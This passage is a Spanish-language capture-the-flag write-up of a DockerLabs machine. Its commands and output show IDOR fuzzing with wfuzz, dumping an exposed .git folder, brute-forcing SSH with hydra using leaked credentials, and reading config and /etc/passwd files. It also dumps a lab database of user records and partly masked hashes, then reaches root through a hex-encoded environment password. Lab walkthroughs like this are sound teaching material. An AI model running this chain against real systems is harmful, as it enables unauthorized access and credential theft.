┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report]
└─$ wfuzz -c --hc=404 -t 200 -z range,1-10000 -u "http://realgob.dl/edo_cuenta.php?id=FUZZ" -L -H "Cookie: PHPSESSID=55vvu3dn4qpinp9k2adorigtkv" -p 127.0.0.1:8080
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz`s documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://realgob.dl/edo_cuenta.php?id=FUZZ
Total requests: 10000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 67 L 180 W 2776 Ch "1"
000000066: 200 67 L 175 W 2754 Ch "66"
000000006: 200 67 L 178 W 2773 Ch "6"
000000008: 200 67 L 180 W 2781 Ch "8"
000000007: 200 67 L 180 W 2786 Ch "7"
000000009: 200 67 L 179 W 2768 Ch "9"
000000005: 200 67 L 179 W 2774 Ch "5"
000000004: 200 67 L 181 W 2776 Ch "4"
000000068: 200 67 L 175 W 2720 Ch "68"
Total time: 69.22203
Processed Requests: 10000
Filtered Requests: 9991
Requests/sec.: 144.4626
Con los valores que hemos obtenido, podemos ver la información de cada cuenta, cambiando en la URL el valor del parámetro id:
/desarrollo (Information Disclosure)
En el recurso desarrollo podemos ver un panel de administración que no está protegido por ningún panel de autenticación:
Al ir a revisar que otros recursos cuelgan de este, vemos que hay varios relacionados con git:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report]
└─$ gobuster dir -u "http://realgob.dl/desarrollo/" -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 200
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://realgob.dl/desarrollo/
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git (Status: 301) [Size: 318] [--> http://realgob.dl/desarrollo/.git/]
/.hta (Status: 403) [Size: 275]
/.htaccess (Status: 403) [Size: 275]
/.git/HEAD (Status: 200) [Size: 23]
/.git/config (Status: 200) [Size: 92]
/.git/index (Status: 200) [Size: 898]
/.git/logs/ (Status: 200) [Size: 1162]
/.htpasswd (Status: 403) [Size: 275]
/index.php (Status: 200) [Size: 6099]
Progress: 4746 / 4746 (100.00%)
===============================================================
Finished
===============================================================
En casos como este en el que una carpeta .git se pueda listar, una herramienta que nos permite obtener todos los ficheros automáticamente es git-dumper (GitHub), la cual se necesita configurar inicialmente de la siguiente manera:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report]
└─$ git clone https://github.com/arthaud/git-dumper
Cloning into 'git-dumper'...
remote: Enumerating objects: 204, done.
remote: Counting objects: 100% (104/104), done.
remote: Compressing objects: 100% (47/47), done.
remote: Total 204 (delta 69), reused 60 (delta 57), pack-reused 100 (from 2)
Receiving objects: 100% (204/204), 67.13 KiB | 838.00 KiB/s, done.
Resolving deltas: 100% (106/106), done.
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report]
└─$ cd git-dumper
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report/git-dumper]
└─$ python3 -m venv venv
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report/git-dumper]
└─$ source venv/bin/activate
┌──(venv)─(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report/git-dumper]
└─$ pip3 install -r requirements.txt
Una vez configurada, procedemos a ejecutarla, indicando la ubicación de la carpeta .git que queremos obtener, y la carpeta donde queremos guardar todo el contenido que va a descargar:
1
2
3
4
5
6
7
8
9
10
┌──(venv)─(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report/git-dumper]
└─$ python3 git_dumper.py http://realgob.dl/desarrollo/.git/ dump
[-] Testing http://realgob.dl/desarrollo/.git/HEAD [200]
[-] Testing http://realgob.dl/desarrollo/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://realgob.dl/desarrollo/.gitignore [404]
...
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 10 paths from the index
Teniendo ya todo el contenido de la carpeta .git, procedemos a revisar lo que hemos obtenido:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(venv)─(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report/git-dumper]
└─$ cd dump
┌──(venv)─(elcybercurioso㉿kalilinux)-[~/…/DockerLabs/Report/git-dumper/dump]
└─$ ls -la
total 52
drwxrwxr-x 3 elcybercurioso elcybercurioso 4096 XXX XX XX:XX .
drwxrwxr-x 5 elcybercurioso elcybercurioso 4096 XXX XX XX:XX ..
-rw-rw-r-- 1 elcybercurioso elcybercurioso 23 XXX XX XX:XX acca
-rw-rw-r-- 1 elcybercurioso elcybercurioso 86 XXX XX XX:XX access_log.txt
-rw-rw-r-- 1 elcybercurioso elcybercurioso 113 XXX XX XX:XX changes_log.txt
-rw-rw-r-- 1 elcybercurioso elcybercurioso 79 XXX XX XX:XX config.php
drwxrwxr-x 7 elcybercurioso elcybercurioso 4096 XXX XX XX:XX .git
-rw-rw-r-- 1 elcybercurioso elcybercurioso 205 XXX XX XX:XX login_changes_log.txt
-rw-rw-r-- 1 elcybercurioso elcybercurioso 175 XXX XX XX:XX noticias_log.txt
-rw-rw-r-- 1 elcybercurioso elcybercurioso 84 XXX XX XX:XX password.txt
-rw-rw-r-- 1 elcybercurioso elcybercurioso 168 XXX XX XX:XX php_version_update_log.txt
-rw-rw-r-- 1 elcybercurioso elcybercurioso 131 XXX XX XX:XX remote_management_log.txt
-rw-rw-r-- 1 elcybercurioso elcybercurioso 140 XXX XX XX:XX suspicious_activity.txt
acca
Este fichero no contiene nada relevante:
1
2
3
┌──(venv)─(elcybercurioso㉿kalilinux)-[~/…/DockerLabs/Report/git-dumper/dump]
└─$ cat acca
hola mundo subdominado
access_log.txt
Aquí se está filtrando cierta información, pero nada que nos permita avanzar:
1
2
3
┌──(venv)─(elcybercurioso㉿kalilinux)-[~/…/DockerLabs/Report/git-dumper/dump]
└─$ cat access_log.txt
Intento de acceso no autorizado desde IP 192.168.1.10 el Mon Oct 14 07:39:27 GMT 2024
changes_log.txt
En este caso también se filtra algo de información, pero nada relevante:
1
2
3
┌──(venv)─(elcybercurioso㉿kalilinux)-[~/…/DockerLabs/Report/git-dumper/dump]
└─$ cat changes_log.txt
Cambio en la configuración: Se actualizó el timeout de la sesión a 30 minutos el Mon Oct 14 07:39:33 GMT 2024
config.php
Al tratarse de un fichero de configuración, siempre es importante revisarlo, ya que podrían contener contraseñas en texto claro, como en este caso:
1
2
3
4
5
┌──(venv)─(elcybercurioso㉿kalilinux)-[~/…/DockerLabs/Report/git-dumper/dump]
└─$ cat config.php
<?php
echo password_hash('c***************************', PASSWORD_DEFAULT);
?>
login_changes_log.txt
Aquí nos indican que el usuario developer ha hecho modificaciones en el panel de login. Podemos pensar que igual existe una cuenta con el usuario developer:
1
2
3
┌──(venv)─(elcybercurioso㉿kalilinux)-[~/…/DockerLabs/Report/git-dumper/dump]
└─$ cat login_changes_log.txt
Se han realizado cambios en el diseño del panel de login. Se han corregido fallos de seguridad y se ha mejorado la interfaz de usuario. Cambios realizados por 'developer' el Mon Oct 14 07:47:07 GMT 2024.
noticias_log.txt
Nos indican aquí que el usuario editor también podría ser un usuario existente:
1
2
3
┌──(venv)─(elcybercurioso㉿kalilinux)-[~/…/DockerLabs/Report/git-dumper/dump]
└─$ cat noticias_log.txt
Actualización de contenido en el panel de noticias. Se han agregado nuevos artículos y se han eliminado los antiguos. Accedido por 'editor' el Mon Oct 14 07:46:33 GMT 2024.
password.txt
Nos indican que la siguiente podría tratarse de una contraseña, por lo que la guardamos para más tarde hacer pruebas de acceso:
1
2
3
4
┌──(venv)─(elcybercurioso㉿kalilinux)-[~/…/DockerLabs/Report/git-dumper/dump]
└─$ cat password.txt
- d******** -
No olvidar borrar logs y actualizar la contrasnea para el año actual
php_version_update_log.txt
Nos indican que el usuario sysadmin podría ser un usuario válido en el sistema:
1
2
3
┌──(venv)─(elcybercurioso㉿kalilinux)-[~/…/DockerLabs/Report/git-dumper/dump]
└─$ cat php_version_update_log.txt
Se ha actualizado la versión de PHP a 8.1. Se realizaron pruebas de compatibilidad y se corrigieron errores. Realizado por 'sysadmin' el Mon Oct 14 07:46:47 GMT 2024.
remote_management_log.txt
Aquí directamente nos facilitan unas credenciales que podemos usar para acceder de forma remota, posiblemente para acceder por SSH:
1
2
3
┌──(venv)─(elcybercurioso㉿kalilinux)-[~/…/DockerLabs/Report/git-dumper/dump]
└─$ cat remote_management_log.txt
Acceso a Remote Management realizado por 'adm' el Mon Oct 14 07:44:17 GMT 2024. Nueva contraseña: 9fR8***************************
suspicious_activity.txt
En este fichero nos indican otro posible usuario del sistema:
1
2
3
┌──(venv)─(elcybercurioso㉿kalilinux)-[~/…/DockerLabs/Report/git-dumper/dump]
└─$ cat suspicious_activity.txt
Actividad sospechosa detectada: Usuario 'dev_admin' intentó acceder al área de administración sin éxito el Mon Oct 14 07:39:40 GMT 2024
Con todos las credenciales obtenidas, tratamos de acceder para ver si logramos acceder a la máquina por SSH:
1
2
3
4
5
6
7
8
9
10
11
┌──(venv)─(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report]
└─$ hydra -L users.txt -P passwords.txt ssh://172.17.0.2 -t 64 -I
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra)
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 15 tasks per 1 server, overall 15 tasks, 15 login tries (l:5/p:3), ~1 try per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: adm password: 9fR8***************************
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra)
Finalmente, obtenemos acceso a la máquina como el usuario adm:
1
2
3
4
5
6
7
┌──(venv)─(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report]
└─$ ssh adm@172.17.0.2
adm@172.17.0.2`s password:
adm@d64220750c6a:~$ whoami
adm
adm@d64220750c6a:~$ hostname -I
172.17.0.2
escalada de privilegios (root)
Procedemos a listar los usuario del sistema, y que tengan asignada una consola en el fichero /etc/passwd:
1
2
3
4
adm@d64220750c6a:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
adm:x:1001:100::/home/adm:/bin/bash
Analizando la máquina, encontramos que tenemos permisos para leer el script /var/www/html/config.php, el cual contiene las credenciales de acceso (en texto claro) al gestor de bases de datos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
adm@d64220750c6a:/tmp$ cat /var/www/html/config.php
<?php
$servername = "localhost";
$username = "root"; //
$password = "l*************************";
$dbname = "GOB_BD";
// Crear conexión
$conn = new mysqli($servername, $username, $password, $dbname);
// Comprobar conexión
if ($conn->connect_error) {
die("Conexión fallida: " . $conn->connect_error);
}
?>
Tratamos de conectarnos con dichas credenciales, y vemos que efectivamente son correctas:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
adm@d64220750c6a:/tmp$ mysql -uroot -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 242830
Server version: 10.11.8-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databasesl
-> ;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'databasesl' at line 1
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| GOB_BD |
| information_schema |
| mysql |
| noticias |
| performance_schema |
| sys |
+--------------------+
6 rows in set (0.004 sec)
MariaDB [(none)]> use GOB_BD
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [GOB_BD]> show tables;
+------------------+
| Tables_in_GOB_BD |
+------------------+
| transacciones |
| users |
+------------------+
2 rows in set (0.001 sec)
MariaDB [GOB_BD]> select * from transacciones;
+----+---------+---------+----------------+------------------+---------------------+---------------+
| id | user_id | monto | cuenta_destino | descripcion | fecha | cuenta_origen |
+----+---------+---------+----------------+------------------+---------------------+---------------+
| 1 | 66 | 23.00 | 99999999 | pago predial | 2024-10-14 03:37:30 | |
| 2 | 7 | 23.00 | 99999999 | Pago Multa | 2024-10-14 04:26:58 | 46126168 |
| 3 | 7 | 120.00 | 99999999 | Deuda Escrituras | 2024-10-14 04:29:29 | 46126168 |
| 4 | 1 | 44.00 | 99999999 | rukaleta | 2024-10-14 04:47:10 | 89542776 |
| 5 | 1 | 9923.00 | 99999999 | vocuher insignia | 2024-10-14 04:59:49 | 89542776 |
| 6 | 1 | 9923.00 | 99999999 | vocuher insignia | 2024-10-14 05:00:29 | 89542776 |
| 7 | 1 | 50.00 | 99999999 | nomas | 2024-10-14 05:02:11 | 89542776 |
| 8 | 1 | 123.00 | 99999999 | extra | 2024-10-14 05:03:21 | 89542776 |
| 9 | 1 | 9923.00 | 99999999 | vocuher insignia | 2024-10-14 05:04:41 | 89542776 |
| 10 | 1 | 407.00 | 89542776 | concepto 2321 | 2024-10-14 05:04:46 | 89542776 |
| 11 | 1 | 407.00 | 89542776 | concepto 2321 | 2024-10-14 05:08:26 | 89542776 |
| 12 | 7 | 2.00 | 99999999 | rea | 2024-10-14 05:12:41 | 46126168 |
| 13 | 8 | 123.00 | 34343017 | real | 2024-10-14 05:15:24 | 34343017 |
| 14 | 8 | 23.00 | 34343017 | tarjeta nueva | 2024-10-14 05:17:44 | 34343017 |
| 15 | 8 | 123.00 | 34343017 | cheves | 2024-10-14 05:18:08 | 34343017 |
| 16 | 8 | 12.00 | 99999999 | magic | 2024-10-14 05:27:02 | 34343017 |
| 17 | 8 | 120.00 | 99999999 | concepto chidito | 2024-10-14 05:28:04 | 34343017 |
| 18 | 8 | 123.00 | 99999999 | descri | 2024-10-14 05:29:55 | 34343017 |
| 19 | 8 | 120.00 | 99999999 | redis | 2024-10-14 05:31:42 | 34343017 |
| 20 | 68 | 1.00 | 63600558 | test | XXXX-XX-XX XX:XX:XX | 63600558 |
| 21 | 68 | 1.00 | 63600558 | test | XXXX-XX-XX XX:XX:XX | 63600558 |
| 22 | 68 | 1.00 | 89542776 | test | XXXX-XX-XX XX:XX:XX | 63600558 |
+----+---------+---------+----------------+------------------+---------------------+---------------+
22 rows in set (0.001 sec)
MariaDB [GOB_BD]> select * from users;
+----+----------+--------------------------------------------------------------+---------------+----------+------------------------------+-----------+------------------------------------------+--------------+-------------+-----------+
| id | username | password | nombre | apellido | email | dni | direccion | telefono | saldo | no_cuenta |
+----+----------+--------------------------------------------------------------+---------------+----------+------------------------------+-----------+------------------------------------------+--------------+-------------+-----------+
| 1 | adan | $2y$10$IBfP************************************************* | Adan | Martnez | adan@gmail.com | 12345678A | Calle de Ejemplo 123, Ciudad Ejemplo | +34123456789 | 57.00 | 89542776 |
| 4 | yahir | $2y$10$6d2L************************************************* | yahir | lopez | yahir23@gmail.com | 23123 | La direccion mas prra #24 Colonia Grillo | 2325124523 | 0.00 | 96271035 |
| 5 | joaquin | $2y$10$slvT************************************************* | joaquin | guzman | chapito@hotmail.com | V2F9SK4 | Av Lautaro Calle Celeste #24 | 938572245 | 150.00 | 12726850 |
| 6 | Felipe | $2y$10$fJhC************************************************* | Felipe | Calderas | calder98@gmail.com | GS8GVS | Colonia Centro Matamoros #232 | 728592354 | 150.00 | 74821147 |
| 7 | Eduardo | $2y$10$Pv0A************************************************* | Eduardo | Felix | lalomora@hotmail.com | FG9S72K8 | Colonia Hernandez Monroy Av Eulalio #153 | 9784712841 | 7.00 | 46126168 |
| 8 | Andrea | $2y$10$Hvr0************************************************* | Andrea | Casas | andycc2@gmail.com | F9S8GKA8 | Calle Av Universal Tamaulipas Centro #85 | 8237850302 | 7.00 | 34343017 |
| 9 | vaxei | $2y$10$IPff************************************************* | Vaxei | Lopez | usvaxei@gmail.com | 938F8kG8 | Circuito del carmen #592 Bol | 893858224 | 150.00 | 69878704 |
| 66 | admin | $2y$10$hX7a************************************************* | Administrador | | edo_administracion@gmail.com | | | | 14030327.00 | 99999999 |
| 68 | test | $2y$10$SV3g************************************************* | test | test | test@test.com | x | x | x | 147.00 | 63600558 |
+----+----------+--------------------------------------------------------------+---------------+----------+------------------------------+-----------+------------------------------------------+--------------+-------------+-----------+
9 rows in set (0.001 sec)
Revisamos también las variables de entorno, donde encontramos MY_PASS, que podemos concluir que se trata de una contraseña, pero no sabemos si todavía sigue siendo válida:
1
2
3
4
adm@d64220750c6a:/tmp$ env
...
MY_PASS=64 6f XX XX XX XX XX XX XX XX XX XX
...
El formato que tiene podría ser hexadecimal, por lo que procedemos a tratar de transformarlo a cadena de texto:
1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report]
└─$ echo "64 6f XX XX XX XX XX XX XX XX XX XX" | xxd -r -p
d***********
Probamos a loguearnos como el usuario root con la cadena obtenida, y vemos que la contraseña es correcta:
1
2
3
4
adm@d64220750c6a:~$ su root
Password:
root@d64220750c6a:/home/adm# whoami
root
Y de esta manera, habremos obtenido acceso privilegiado a la máquina!





































